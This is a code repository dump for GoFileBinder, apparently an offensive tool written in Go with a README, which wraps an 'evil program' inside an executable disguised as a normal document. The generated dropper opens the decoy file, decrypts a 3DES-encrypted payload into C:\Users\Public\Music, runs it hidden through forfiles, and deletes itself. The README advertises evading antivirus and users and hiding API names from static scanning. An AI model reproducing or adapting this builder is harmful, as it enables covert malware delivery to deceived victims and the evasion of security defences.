├── GoFileBinder.go ├── README.md └── images ├── image-20211130010534997.png └── image-20211130013907004.png /GoFileBinder.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/cipher" 6 | "crypto/des" 7 | "fmt" 8 | "io/ioutil" 9 | "math/rand" 10 | "os" 11 | "os/exec" 12 | "path" 13 | "strings" 14 | "time" 15 | ) 16 | 17 | // ======================================= 18 | // + Variables 19 | // ======================================= 20 | var ( 21 | tmpGoFile = "tmp.go" 22 | ) 23 | 24 | // ======================================= 25 | // + Utils 26 | // ======================================= 27 | 28 | func SplitHex(data []byte) string { 29 | hexString := fmt.Sprintf("%x", data) 30 | splitJoin := strings.Join(strings.Split(hexString, ""), "', '") 31 | result := fmt.Sprintf("string([]byte{'%s'})", splitJoin) 32 | return result 33 | } 34 | 35 | // ======================================= 36 | // + Crypto 37 | // ======================================= 38 | func RandomKeyGen(n int) []byte { 39 | rand.Seed(time.Now().UnixNano()) 40 | key := make([]byte, n) 41 | rand.Read(key) 42 | return key 43 | } 44 | 45 | func TripleDesEncrypt(data, key []byte) []byte { 46 | block, _ := des.NewTripleDESCipher(key) 47 | ciphertext := key 48 | iv := ciphertext[:des.BlockSize] 49 | origData := PKCS5Padding(data, block.BlockSize()) 50 | mode := cipher.NewCBCEncrypter(block, iv) 51 | encrypted := make([]byte, len(origData)) 52 | mode.CryptBlocks(encrypted, origData) 53 | return encrypted 54 | } 55 | 56 | func TripleDesDecrypt(data, key []byte) []byte { 57 | block, _ := des.NewTripleDESCipher(key) 58 | ciphertext := key 59 | iv := ciphertext[:des.BlockSize] 60 | 61 | decrypter := cipher.NewCBCDecrypter(block, iv) 62 | decrypted := make([]byte, len(data)) 63 | decrypter.CryptBlocks(decrypted, data) 64 | decrypted = PKCS5UnPadding(decrypted) 65 | return decrypted 66 | } 67 | 68 | func PKCS5Padding(ciphertext []byte, blockSize int) []byte { 69 | padding := blockSize - len(ciphertext)%blockSize 70 | padtext := bytes.Repeat([]byte{byte(padding)}, padding) 71 | return append(ciphertext, padtext...) 72 | } 73 | 74 | func PKCS5UnPadding(origData []byte) []byte { 75 | length := len(origData) 76 | unpadding := int(origData[length-1]) 77 | return origData[:(length - unpadding)] 78 | } 79 | 80 | func DesEncryptFile(filepath string) (encData []byte, randomKey []byte) { 81 | file, err := os.Open(filepath) 82 | if err != nil { 83 | println("[!] DES Encrypt Fail: " + err.Error()) 84 | } 85 | 86 | data, err := ioutil.ReadAll(file) 87 | if err != nil { 88 | println("[!] DES Encrypt Fail: " + err.Error()) 89 | } 90 | 91 | randomKey = RandomKeyGen(24) 92 | encData = TripleDesEncrypt(data, randomKey) 93 | 94 | return encData, randomKey 95 | } 96 | 97 | // ======================================= 98 | // + Templates 99 | // ======================================= 100 | var DES_TEMPLATE = `package main 101 | 102 | import ( 103 | "crypto/cipher" 104 | "crypto/des" 105 | "encoding/hex" 106 | "io/ioutil" 107 | "os" 108 | "os/exec" 109 | "syscall" 110 | ) 111 | 112 | // ======================================= 113 | // + Utils 114 | // ======================================= 115 | 116 | func HideConsole() { 117 | hwnd, _, _ := syscall.NewLazyDLL(string([]byte{ 118 | 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', 119 | })).NewProc(string([]byte{ 120 | 'G', 'e', 't', 'C', 'o', 'n', 's', 'o', 'l', 'e', 'W', 'i', 'n', 'd', 'o', 'w', 121 | })).Call() 122 | syscall.NewLazyDLL(string([]byte{ 123 | 'u', 's', 'e', 'r', '3', '2', 124 | })).NewProc(string([]byte{ 125 | 'S', 'h', 'o', 'w', 'W', 'i', 'n', 'd', 'o', 'w', 126 | })).Call(hwnd, 0) 127 | } 128 | 129 | // ======================================= 130 | // + Crypto 131 | // ======================================= 132 | func TripleDesDecrypt(data, key []byte) []byte { 133 | block, _ := des.NewTripleDESCipher(key) 134 | ciphertext := key 135 | iv := ciphertext[:des.BlockSize] 136 | 137 | decrypter := cipher.NewCBCDecrypter(block, iv) 138 | decrypted := make([]byte, len(data)) 139 | decrypter.CryptBlocks(decrypted, data) 140 | decrypted = PKCS5UnPadding(decrypted) 141 | return decrypted 142 | } 143 | 144 | func PKCS5UnPadding(origData []byte) []byte { 145 | length := len(origData) 146 | unpadding := int(origData[length-1]) 147 | return origData[:(length - unpadding)] 148 | } 149 | 150 | func main() { 151 | //HideConsole() 152 | evilFileName := "%s" 153 | evilFile := "C:\\Users\\Public\\Music\\" + evilFileName + ".spl" 154 | evilFileCopy := "C:\\Users\\Public\\Music\\" + evilFileName + ".exe" 155 | bindFile := "%s" 156 | 157 | bindFileHex := %s 158 | bindFileData, _ := hex.DecodeString(bindFileHex) 159 | 160 | ioutil.WriteFile(bindFile, bindFileData, 0777) 161 | 162 | cmdOpen := exec.Command("cmd.exe", "/c", "start", bindFile) 163 | cmdOpen.SysProcAttr = &syscall.SysProcAttr{CreationFlags: 0x08000000} 164 | cmdOpen.Start() 165 | 166 | encDataHex := %s 167 | randomKeyHex := %s 168 | encData, _ := hex.DecodeString(encDataHex) 169 | randomKey, _ := hex.DecodeString(randomKeyHex) 170 | evilFileData := TripleDesDecrypt(encData, randomKey) 171 | 172 | ioutil.WriteFile(evilFile, evilFileData, 0777) 173 | 174 | cmdCopy := exec.Command("expand", evilFile, evilFileCopy) 175 | cmdCopy.SysProcAttr = &syscall.SysProcAttr{CreationFlags: 0x08000000} 176 | cmdCopy.Run() 177 | os.Remove(evilFile) 178 | 179 | cmdExec := exec.Command("forfiles", "/p", "c:\\windows\\system32", "/m", "notepad.exe", "/c", evilFileCopy) 180 | cmdExec.SysProcAttr = &syscall.SysProcAttr{CreationFlags: 0x08000000} 181 | cmdExec.Start() 182 | 183 | cmdDel := exec.Command("cmd.exe", "/c", "del", "%s") 184 | cmdDel.SysProcAttr = &syscall.SysProcAttr{CreationFlags: 0x08000000} 185 | cmdDel.Start() 186 | }` 187 | 188 | func main() { 189 | 190 | if len(os.Args) != 4 { 191 | println(` 192 | ╔═╗┌─┐╔═╗┬┬ ┌─┐╔╗ ┬┌┐┌┌┬┐┌─┐┬─┐ 193 | ║ ╦│ │╠╣ ││ ├┤ ╠╩╗││││ ││├┤ ├┬┘ 194 | ╚═╝└─┘╚ ┴┴─┘└─┘╚═╝┴┘└┘─┴┘└─┘┴└─ 195 | https://github.com/inspiringz/GoFileBinder`) 196 | println("\nUsage:\n " + os.Args[0] + " [x64/x86]") 197 | return 198 | } 199 | 200 | evilFile := os.Args[1] 201 | bindFile := os.Args[2] 202 | arch := os.Args[3] 203 | 204 | bindFileSuffix := strings.TrimSuffix(bindFile, path.Ext(bindFile)) 205 | evilFileSuffix := strings.TrimSuffix(evilFile, path.Ext(evilFile)) 206 | outputFile := fmt.Sprintf("%s.exe", bindFileSuffix) 207 | 208 | os.Setenv("GOOS", "windows") 209 | switch arch { 210 | case "x64": 211 | os.Setenv("GOARCH", "amd64") 212 | case "x86": 213 | os.Setenv("GOARCH", "386") 214 | default: 215 | println("[!] Unknown arch") 216 | return 217 | } 218 | 219 | println("[*] Evil Program: " + evilFile) 220 | println("[*] Bind File: " + bindFile) 221 | println("[*] Architecture: " + arch) 222 | println("[*] Output File: " + outputFile) 223 | 224 | encData, randomKey := DesEncryptFile(evilFile) 225 | encDataHex := SplitHex(encData) 226 | randomKeyHex := SplitHex(randomKey) 227 | 228 | println("[+] Triple DES encrypt with randomKey success") 229 | 230 | binData, _ := ioutil.ReadFile(bindFile) 231 | bindFileHex := SplitHex(binData) 232 | 233 | tmpGoFileSource := fmt.Sprintf(DES_TEMPLATE, evilFileSuffix, bindFile, bindFileHex, encDataHex, randomKeyHex, outputFile) 234 | 235 | ioutil.WriteFile(tmpGoFile, []byte(tmpGoFileSource), 0777) 236 | 237 | err := exec.Command("go", "build", "-ldflags", "-w -s -H=windowsgui", "--trimpath", "-o", outputFile, tmpGoFile).Run() 238 | if err != nil { 239 | println("[!] Compile fail: " + err.Error()) 240 | return 241 | } 242 | os.Remove(tmpGoFile) 243 | println("[+] Compile success: " + outputFile) 244 | } 245 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GoFileBinder 2 | 3 | A builder 🔨 for binding evil program 😈 and normal document 🐣 4 | 5 | ![image-20211130010534997](images/image-20211130010534997.png) 6 | 7 | ## Usage 8 | 9 | Clone this repo and build GoFileBinder.go first, then start: 10 | 11 | ```bash 12 | ./GoFileBinder [x64/x86] 13 | ``` 14 | 15 | When the Output File is executed on the target machine, it will release your evil program to `C:\Users\Public\Music\`, and then self-delete after run normal file and evil program. 16 | 17 | ![image-20211130013907004](images/image-20211130013907004.png) 18 | 19 | > You can add an icon to it through [rcedit](https://github.com/electron/rcedit) or [rsrc](https://github.com/akavel/rsrc),note that some icons may be marked as malicious by the anti-virus due to past malicious behavior. 20 | 21 | ## Feature 22 | 23 | - Reduce the risk of being detected by anti-virus ~~and human~~ 24 | - Encrypt evil program via 3DES with random key 25 | - Self delete after releasing the normal file and executing the evil program 26 | - Use local variable instead of string literal to pass procedure name (`string([]byte{...})`), to avoid static memory matching 27 | 28 | ## Reference 29 | 30 | - https://github.com/evilashz/NimFileBinder 31 | - https://github.com/EddieIvan01/gld 32 | -------------------------------------------------------------------------------- /images/image-20211130010534997.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/inspiringz/GoFileBinder/6fa107ea076e77b0cdbd7a7b6990139adf79f480/images/image-20211130010534997.png -------------------------------------------------------------------------------- /images/image-20211130013907004.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/inspiringz/GoFileBinder/6fa107ea076e77b0cdbd7a7b6990139adf79f480/images/image-20211130013907004.png --------------------------------------------------------------------------------